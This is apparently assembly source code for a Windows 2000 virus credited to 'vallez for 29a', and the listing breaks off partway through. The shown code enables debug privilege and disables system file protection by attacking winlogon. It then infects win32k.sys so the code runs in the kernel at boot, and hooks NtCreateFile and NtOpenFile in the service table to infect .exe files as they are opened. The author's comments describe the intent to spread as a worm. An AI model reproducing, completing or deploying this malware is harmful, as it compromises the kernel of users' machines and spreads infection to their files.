FILE_NO_INTERMEDIATE_BUFFERING equ 00000008h
FILE_SYNCHRONOUS_IO_ALERT equ 00000010h
FILE_SYNCHRONOUS_IO_NONALERT equ 00000020h
FILE_NON_DIRECTORY_FILE equ 00000040h
FILE_CREATE_TREE_CONNECTION equ 00000080h
FILE_COMPLETE_IF_OPLOCKED equ 00000100h
FILE_NO_EA_KNOWLEDGE equ 00000200h
FILE_OPEN_FOR_RECOVERY equ 00000400h
FILE_RANDOM_ACCESS equ 00000800h
FILE_DELETE_ON_CLOSE equ 00001000h
FILE_OPEN_BY_FILE_ID equ 00002000h
FILE_OPEN_FOR_BACKUP_INTENT equ 00004000h
FILE_NO_COMPRESSION equ 00008000h
FILE_RESERVE_OPFILTER equ 00100000h
FILE_OPEN_REPARSE_POINT equ 00200000h
FILE_OPEN_NO_RECALL equ 00400000h
FILE_OPEN_FOR_FREE_SPACE_QUERY equ 00800000h
FILE_COPY_STRUCTURED_STORAGE equ 00000041h
FILE_STRUCTURED_STORAGE equ 00000441h
FILE_VALID_OPTION_FLAGS equ 00ffffffh
FILE_VALID_PIPE_OPTION_FLAGS equ 00000032h
FILE_VALID_MAILSLOT_OPTION_FLAGS equ 00000032h
FILE_VALID_SET_FLAGS equ 00000036h
FILE_SHARE_READ equ 00000001h
FILE_SHARE_WRITE equ 00000002h
FILE_READ_DATA equ 00000001h
FILE_WRITE_DATA equ 00000002h
FILE_APPEND_DATA equ 00000004h
FILE_OPEN_IF equ 00000003h
FILE_OPEN equ 00000001h
FILE_NON_DIRECTORY_FILE equ 00000040h
STATUS_SUCCESS equ 00000000h
SEC_COMMIT equ 08000000h
SECTION_QUERY equ 00000001h
SECTION_MAP_WRITE equ 00000002h
SECTION_MAP_READ equ 00000004h
SECTION_MAP_EXECUTE equ 00000008h
SECTION_EXTEND_SIZE equ 00000010h
STANDART_RIGTHS_REQUIRED equ 000F0000h
STARTUPINFOSIZE equ 68
PROCESSINFORMATIONSIZE equ 16
cPushfd equ 4
tamvirus = evirus - svirus
.data;
;;;;;;
az db 'DeleteFileA',0
azz db 'ZwUnmapViewOfSection',0
vallez db 'vallez for 29a',0
.code;
;;;;;;
start:
;;;;;;
;first generation codevvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
mov eax,12345678h
lea esi,az
CalcLenString
mov edi,ecx
call CRC32
lea esi,azz
CalcLenString
mov edi,ecx
call CRC32
;unprotection of code for first gen
@pushsz "kernel32.dll"
call GetModuleHandleA
mov esi,offset svirus
mov ecx,evirus - svirus
xor ebx,ebx
callz UnprotectMem
;This small code will move all code 1 byte up for simulate second gen...
lea edi,[evirus]
mov esi,edi
dec esi
mov ecx,evirus-svirus
std
;rep movsb
cld
;mov byte ptr[svirus],90h
;first generation code^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
svirus:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Entry Point Of Virus when is executed In ring3.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EPointFile:
;;;;;;;;;;;;;;;;;;;;;;;;
call d_offset ;I calculate delta offset
d_offset:
pop ebp
sub ebp,offset d_offset
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
pop eax ;Ill get kernel address
push eax
xor ax,ax
add eax,1000h
;eax -> a part of kernel32
SearchKernel:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchKernel
;eax -> base of kernel32
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
push eax ;i have unprotected the memory of code of virus
lea esi,[ebp + svirus]
mov ecx,tamvirus
xor ebx,ebx
callz UnprotectMem
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
pop eax ;I get other used librarys
mov [ebp + NtKernel],eax
callz GetLibrarys
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel] ;Ill keep the current directory
GezApi eax,GetCurrentDirectoryACRC,GCDNameLen
lea ebx,[ebp + CurDir]
push ebx
push 256
call eax;we keep current dir for restoring
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ecx,cs ;The virus will work in win2k only
xor cl,cl
or ecx,ecx
jne Exit
mov eax,[ebp + NtKernel] ;Im in NT but i want win2k...
GezApi eax,GetVersionCRC,GVNameLen
call eax
test eax,80000000h
jnz Exit
cmp al,5 ;i test for win2k(i think XP is 5 too)
jne Exit
;Im not sure if this will work in NT previous machines perhaps but ill code for win2k.
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel] ;we go to system32 directory first
GezApi eax,GetWindowsDirectoryACRC,GWDNameLen
push 256
lea ebx,[ebp + Buffer]
push ebx
call eax
lea esi,[ebp + Buffer]
CalcLenString
mov edi,esi
add edi,ecx
mov al,'\'
stosb
mov eax,'tsys'
stosd
mov eax,'23me'
stosd
xor al,al
mov [edi],al
mov eax,[ebp + NtKernel]
GezApi eax,SetCurrentDirectoryACRC,SCDNameLen
lea esi,[ebp + Buffer]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;I want to enable Debug privilege for token of this user. touch_privilege was coded by Ratter
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtAdvapi] ;enabling debug privilege for this user
GezApi eax,AdjustTokenPrivilegesCRC,ATPNameLen
mov [ebp + tAdjustTokenPrivileges],eax
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
mov [ebp + tCloseHandle],eax
mov eax,[ebp + NtAdvapi]
GezApi eax,LookupPrivilegeValueACRC,LPVNameLen
mov [ebp + tLookupPrivilegeValueA],eax
mov eax,[ebp + NtAdvapi]
GezApi eax,OpenProcessTokenCRC,OPTNameLen
mov [ebp + tOpenProcessToken],eax
mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentProcessCRC,GCPNameLen
mov [ebp + tGetCurrentProcess],eax
push SE_PRIVILEGE_ENABLED
pop eax
@pushsz "SeDebugPrivilege"
pop esi
call touch_privilege
;;;;;;;;;;;;;;;;;;;;;;;;
;Now ill disable sfp with Benny&Ratter method
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz GetWinlogon ;I have debug priv so ill disable sfc with benny&ratter method
or eax,eax
jnz Exit
callz AttackWinlogon
or eax,eax
jnz Exit
;;;;;;;;;;;;;;;;;;;;;;;;
;Now infection of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;U will see in this part lot of move and copy files but i do it for ensuring the
;perfect working of the virus...I had some problems with sfc disabling due this code
;was executed before sfc disabling code so finally win32k.sys was not infected the first
;time that virus was executed in that system uninfected still...but i have correct that
;problem doing some movings and copyings of files...that file here,that file there and
;virus works perfectly now ;P
;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + _WIN32_FIND_DATA] ;Search win32k.sy
push eax
lea eax,[ebp + win32ksy]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
cmp eax,0FFFFFFFFh
je NoWin32sySoContinue
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindCloseCRC,FCNameLen
call eax
lea esi,[ebp + win32ksys]
push esi
mov eax,[ebp + NtKernel] ;deleting win32k.sys if it would exist
GezApi eax,DeleteFileACRC,DFNameLen
call eax
mov eax,[ebp + NtKernel] ;renaming win32k.sy to win32k.sys
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksys]
push esi
lea esi,[ebp + win32ksy]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
NoWin32sySoContinue:
mov eax,[ebp + NtKernel] ;we copy win32k.sys to win32k.fuck
GezApi eax,CopyFileACRC,CpFNameLen
push 0
lea esi,[ebp + win32kfuck]
push esi
lea esi,[ebp + win32ksys]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;Why of this?:
;The original win32k.sys is been used by the system so we can modify it...however we can
;change its name. We copy it to win32k.fuck and infect the .fuck file...
;later we renaming win32k.sys to win32k.sy and win32k.fuck to win32k.sys
;and this new win32k.sys will be loaded in ring0 the next time that system reboot.
;i copy .sys to .fuck for no infecting directly over win32k.sys
;coz i had problems...i tried to infect directly over win32k.sys but sometimes(lot of times)
;when i called functions as CreateFile or others, i got this error from GetLastError:
;32(20h)(The process cannot access the file because it is being used by another process)
;I supposed that win32k.sys is a file used lot of times and if i infected directly over
;win32k.sys i would get this error lot of times....so finally i decided to do a copy
;named win32k.fuck for later renaming this file to win32k.sys when already infected.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Now ill infect win32k.fuck
;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + _WIN32_FIND_DATA] ;Mapping win32k.fuck
push eax
lea eax,[ebp + win32kfuck]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
mov [ebp + SearchHand],eax
cmp eax,0FFFFFFFFh
je Exit
callz MapFile
or eax,eax
jz Exit
;;;;;;;;;;;;;;;;;;;;;;;;
;INFECTION OF WIN32K.FUCK
;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + ViewHandle] ;a simple infection overwriting reloc section
mov edx,eax
mov ebx,[eax + 3ch]
add eax,ebx
;eax -> PE
mov bx,word ptr [eax + 8]
cmp bx,'zv'
je StopInfection ;becoz already Infected
mov word ptr [eax + 8],'zv' ;a small mark ;)
mov ebx,[eax + 28h] ;EPoint of win32k.sys
mov [ebp + EntryPointWin32ksys],ebx
xor ecx,ecx
mov cx,word ptr [eax + 6]
dec ecx
mov ebx,eax
add ebx,0F8h ;sections
GoToLastSection:
add ebx,28h
loop GoToLastSection
;ebx -> .reloc ;over-reloc infection of win32k.sys
cmp [ebx],'ler.'
jne StopInfection
mov dword ptr [ebx + 24h],040000040h ;reloc not discardable,readable,writable
mov ecx,[ebx + 10h]
cmp ecx,tamvirus
jb StopInfection
;i change entry point of win32k.sys
mov edi,[ebx + 0ch]
add edi,EPointSystem - svirus
mov [eax + 28h],edi ;RVA new entry point for win32k.sys
;ill copy the code overwriting .reloc
mov edi,[ebx + 14h]
add edi,edx
lea esi,[ebp + svirus]
mov ecx,tamvirus
rep movsb
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,'vzvz'
StopInfection: ;Unmmaping win32k.fuck
push eax
callz CloseAll
pop eax
cmp eax,'vzvz'
jne SysAlreadyInfected
;;;;;;;;;;;;;;;;;;;;;;;;
;IMPORTANT: I MUST CORRECT WIN32K.FUCK HEADER CKSUM AFTER INFECTION OR SYSTEM WILL NOT START
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtImagehlp] ;I correct the cksum of the file win32k.fuck
GezApi eax,MapFileAndCheckSumACRC,MFACSNameLen
lea esi,[ebp + aux]
push esi
lea esi,[ebp + Needed]
push esi
lea esi,[ebp + win32kfuck]
push esi
call eax ;get cksum
callz MapFile
or eax,eax
jz Exit
mov eax,[ebp + ViewHandle]
mov ebx,[eax + 3ch]
add eax,ebx
;eax -> PE
mov ebx,[ebp + aux]
mov [eax + 58h],ebx
callz CloseAll
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
push dword ptr [ebp + SearchHand] ;Closing the search hand
mov eax,[ebp + NtKernel]
GezApi eax,FindCloseCRC,FCNameLen
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel] ;renaming win32k.sys to win32k.sy
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksy]
push esi
lea esi,[ebp + win32ksys]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel] ;renaming win32k.fuck to win32k.sys
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksys]
push esi
lea esi,[ebp + win32kfuck]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;Exit
;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
Exit:
mov eax,[ebp + NtKernel] ;Exit from virus code...
GezApi eax,SetCurrentDirectoryACRC,SCDNameLen
lea esi,[ebp + CurDir]
push esi
call eax ;we restore current directory.
callz FreeLibrarys ;free librarys loaded.
or ebp,ebp ;first generation exit, ExitProcess.
jnz gen2Exit
push 0
call ExitProcess
gen2Exit:
mov eax,[ebp + NtKernel] ;second generation exit,jumpin old epoint.
GezApi eax,GetModuleHandleACRC,GMHNameLen
push 00000000h
call eax
;eax -> this module
add eax,[ebp + EntryPoint]
jmp eax ;old entry point
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
SysAlreadyInfected:
lea esi,[ebp + win32kfuck]
push esi
mov eax,[ebp + NtKernel] ;deleting win32k.fuck if it would exist
GezApi eax,DeleteFileACRC,DFNameLen
call eax
jmpz Exit
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Entry Point Of Virus when is executed in ring0.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EPointSystem: ;Ring0 Code
;;;;;;;;;;;;;
push 00000000h ;This space in stack will be filled with the entry point
;address of win32k.sys
pushfd
pushad
;;;;;;;;;;;;;;;;;;;;;;;;
callz R0_Doff ;i calculate delta offset.
R0_Doff:
pop ebp
sub ebp,offset R0_Doff
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + EPointSystem] ;our target is to search image base of win32k.sys in memory.
xor ax,ax ;hardcoded would be 0A0000000h in my system.
add eax,1000h
SearchBaseImage:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchBaseImage
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + EntryPointWin32ksys] ;We have the old entry point and the image base
add ebx,eax ;so we have the entry point address. We put
mov [esp + cPushad + cPushfd],ebx ;that entry point after pushad and pushfd bytes
;;;;;;;;;;;;;;;;;;;;;;;; ;in stack for using ret instruction later and
;for jumping entry point of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[esp + cPushad + cPushfd + 4] ;address in stack of a zone of ntoskrnl(in function
xor ax,ax ;ExCreateCallback).With this address we will get
add eax,1000h ;ntoskrnl base addr
;eax -> a part of ntoskrnl
SearchNtoskrnl:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchNtoskrnl
;eax -> base of ntoskrnl
mov [ebp + Ntoskrnl],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;now we will get somethings that will be useful for hooking NtCreateFile...SSDT address,
;syscall number of NtCreateFile, ....
;There is a undocumented entry in the export table of ntoskrnl, KeServiceDescriptorTable,
;and this entry is the key for accessing the system service dispatch table where we must
;patch for hooking a service(NtCreateFile for example ;)
;KeServiceDescriptorTable points to a structure like this:
; {
; DWORD ServiceTableBase - pointer to system service dispatch table(SSDT)
; DWORD ServiceCounterTable - not important for us
; DWORD NumberOfServices - number of services in system service dispatch table
; DWORD ParamTableBase - pointer to system service parameter table(SSPT)
; }
;
;We want to get the number of the NtCreateFile service and then we search in this table
;and we patch the address of NtCreateFile rutine with a address of our code
;;;;;;;;;;;;;;;;;;;;;;;;
;eax = ntoskrnl base
GezApi eax,KeServiceDescriptorTableCRC,KSDTNameLen
mov [ebp + KeServiceDescriptorTable],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;ill get SSDT from that service descriptor table
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[eax]
mov [ebp + SSDT],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;now ill get from ntoskrnl the addr for NtCreateFile for searching in the table
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezApi eax,NtCreateFileCRC,NCFNameLen
mov [ebp + NtCreateFileAddr],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;now ill search in the SSDT the address of the entry of NtCreateFile where we will hook
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + SSDT]
mov eax,[ebp + KeServiceDescriptorTable]
mov ecx,[eax + 8] ;number of services
mov edx,[ebp + NtCreateFileAddr]
SearchNtCreateFileEntry:
mov eax,[ebx + ecx*4 - 4]
cmp eax,edx
loopnz SearchNtCreateFileEntry
;ebx + ecx*4 -> entry
shl ecx,2
add ebx,ecx
;ebx -> entry
mov [ebp + NtCreateFileEntryAddr],ebx
;note we could have finished the entire table without finding the entry...becoz ecx = 0
;so we will compare again
mov eax,[ebx]
cmp eax,edx
jne ReturnWin32ksys
;;;;;;;;;;;;;;;;;;;;;;;;
;We hook NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;
;ebx = address of entry of NtCreateFile in SSDT
lea eax,[ebp + NtCreateFileHookRutine]
mov [ebx],eax ;in this moment we HOOK NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;
;and with NtOpenFile same thing
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezApi eax,NtOpenFileCRC,NOFNameLen
mov [ebp + NtOpenFileAddr],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + SSDT]
mov eax,[ebp + KeServiceDescriptorTable]
mov ecx,[eax + 8] ;number of services
mov edx,[ebp + NtOpenFileAddr]
SearchNtOpenFileEntry:
mov eax,[ebx + ecx*4 - 4]
cmp eax,edx
loopnz SearchNtOpenFileEntry
;ebx + ecx*4 -> entry
shl ecx,2
add ebx,ecx
;ebx -> entry
mov [ebp + NtOpenFileEntryAddr],ebx
;note we could have finished the entire table without finding the entry...becoz ecx = 0
;so we will compare again
mov eax,[ebx]
cmp eax,edx
jne ReturnWin32ksys
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;ebx = address of entry of NtOpenFile in SSDT
lea eax,[ebp + NtOpenFileHookRutine]
mov [ebx],eax ;in this moment we HOOK NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz GetApisRing0 ;ill get some apis for no calling all time GezApi
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz DeleteWin32ksy ;i must delete win32k.sy if still not deleted
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz PayloadRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
ReturnWin32ksys:
popad
popfd
ret ;previosly i moved entry point adress of win32k.sys at position in stack
;so this ret will fill eip with start point of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NtOpenFileHookRutine:
;;;;;;;;;;;;;;;;;;;;;
pushfd
pushad
;;;;;;;;;;;;;;;;;;;;;;;;
callz doff_hookOF ;delta offset
doff_hookOF:
pop ebp
sub ebp,offset doff_hookOF
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtOpenFileAddr]
mov [ebp + HookRealAddr],eax ;we put the jump to real code of NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
jmpz GeneralCodeForInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;NTSTATUS NtOpenFile(
; OUT PHANDLE FileHandle,
; IN ACCESS_MASK DesiredAccess,
; IN POBJECT_ATTRIBUTES ObjectAttributes,
; OUT PIO_STATUS_BLOCK IoStatusBlock,
; IN ULONG ShareAccess,
; IN ULONG OpenOptions
; );
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
NtCreateFileHookRutine:
pushfd
pushad
;;;;;;;;;;;;;;;;;;;;;;;;
callz doff_hookCF ;delta offset
doff_hookCF:
pop ebp
sub ebp,offset doff_hookCF
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtCreateFileAddr]
mov [ebp + HookRealAddr],eax ;we put the jump to real code of NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;
;NTSTATUS NtCreateFile(
; OUT PHANDLE FileHandle,
; IN ACCESS_MASK DesiredAccess,
; IN POBJECT_ATTRIBUTES ObjectAttributes,
; OUT PIO_STATUS_BLOCK IoStatusBlock,
; IN PLARGE_INTEGER AllocationSize OPTIONAL,
; IN ULONG FileAttributes,
; IN ULONG ShareAccess,
; IN ULONG CreateDisposition,
; IN ULONG CreateOptions,
; IN ULONG EaBuffer OPTIONAL,
; IN ULONG EaLength
; );
;
;this only for NtCreateFile:
;;;;;;;;;;;;;;;;;;;;;;;;
;i get some datas from parameters
mov eax,[esp + cPushad + cPushfd + 4 + 14h]
mov [ebp + AttributesFileRing0],eax ;i get the attributes of file
mov eax,[esp + cPushad + cPushfd + 4 + 1ch]
mov [ebp + CreateDispositionFileRing0],eax ;i get manner for opening the file
mov eax,[esp + cPushad + cPushfd + 4 + 20h]
mov [ebp + CreateOptionsFileRing0],eax ;i get some more flags relative
;;;;;;;;;;;;;;;;;;;;;;;; ;to manner of opening the file
;;;;;;;;;;;;;;;;;;;;;;;;
;I want a existing file non directory
test dword ptr [ebp + CreateDispositionFileRing0],FILE_OPEN
jz StopInfectionRing0
;test dword ptr [ebp + CreateOptionsFileRing0],FILE_NON_DIRECTORY_FILE
;jz StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;jmpz GeneralCodeForInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GeneralCodeForInfectionRing0:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz UnhookWhile ;ill unhook apis while hooking rutine coz for example
;;;;;;;;;;;;;;;;;;;;;;;; ;if we call ZwOpenFile we will go to a infinite loop
;OBJECT_ATTRIBUTES {
; ULONG Length;
; PUNICODE_STRING ObjectName;
; HANDLE RootDirectory;
; PSECURITY_DESCRIPTOR SecurityDescriptor;
; PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
; ULONG Attributes;
; }
;
;UNICODE_STRING {
; USHORT Length; ;len in bytes of Buffer
; USHORT MaximumLength;
; PWSTR Buffer;
; }
;note if RootDirectory parameter is null,ObjectName has a fully qualified file specification,
;path+name,but if RootDirectory is non null,then ObjectName has only the name of the object
;relative to RootDirectory directory.
;when we call NtOpenFile we must use both RootDirectory and ObjectName.
;;;;;;;;;;;;;;;;;;;;;;;;
;Ill get the file name of the file i want to infect
mov edi,[esp + cPushad + cPushfd + 4 + 8] ;edi -> ObjectAttributes
mov eax,[edi + 4] ;eax = RootDirectory
mov [ebp + RootDirectoryRing0],eax
mov esi,[edi + 8] ;esi -> unicode string of the name
mov eax,[esi]
mov dword ptr [ebp + FileNameRing0],eax
lea edi,[ebp + StringRing0] ;edi -> our buffer for unicode string of name
mov dword ptr [ebp + FileNameRing0 + 4],edi
movzx ecx,word ptr [esi] ;ecx = long of unicode string
mov esi,[esi + 4]
rep movsb ;i copy the buffer
;;;;;;;;;;;;;;;;;;;;;;;;
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv |quitar esto| vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
movzx ecx,word ptr [ebp + FileNameRing0]
mov eax,dword ptr [ebp + FileNameRing0 + 4]
add eax,ecx
dec eax
dec eax
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'x'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'.'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |quitar esto| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;;;;;;;;;;;;;;;;;;;;;;;;
movzx ecx,word ptr [ebp + FileNameRing0] ;I test if file is a .exe file
mov eax,dword ptr [ebp + FileNameRing0 + 4]
add eax,ecx
dec eax
dec eax
or byte ptr [eax],20h
cmp byte ptr [eax],'e' ;i would like this virus could
jne StopInfectionRing0 ;to infect .exe in .zip files too
dec eax ;coz as i said,i want this was a
dec eax ;runtime worm :P and in internet
or byte ptr [eax],20h ;usually we send compress files...
cmp byte ptr [eax],'x' ;however i think that winzip for
jne StopInfectionRing0 ;example will call NtCreateFile
dec eax ;when compressing the .exe file :D
dec eax ;and in that moment we will stay
or byte ptr [eax],20h ;there for infect that file
cmp byte ptr [eax],'e' ;muuuhaaaaahahahahahahaaaahaaahaa
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'.'
jne StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;int 1
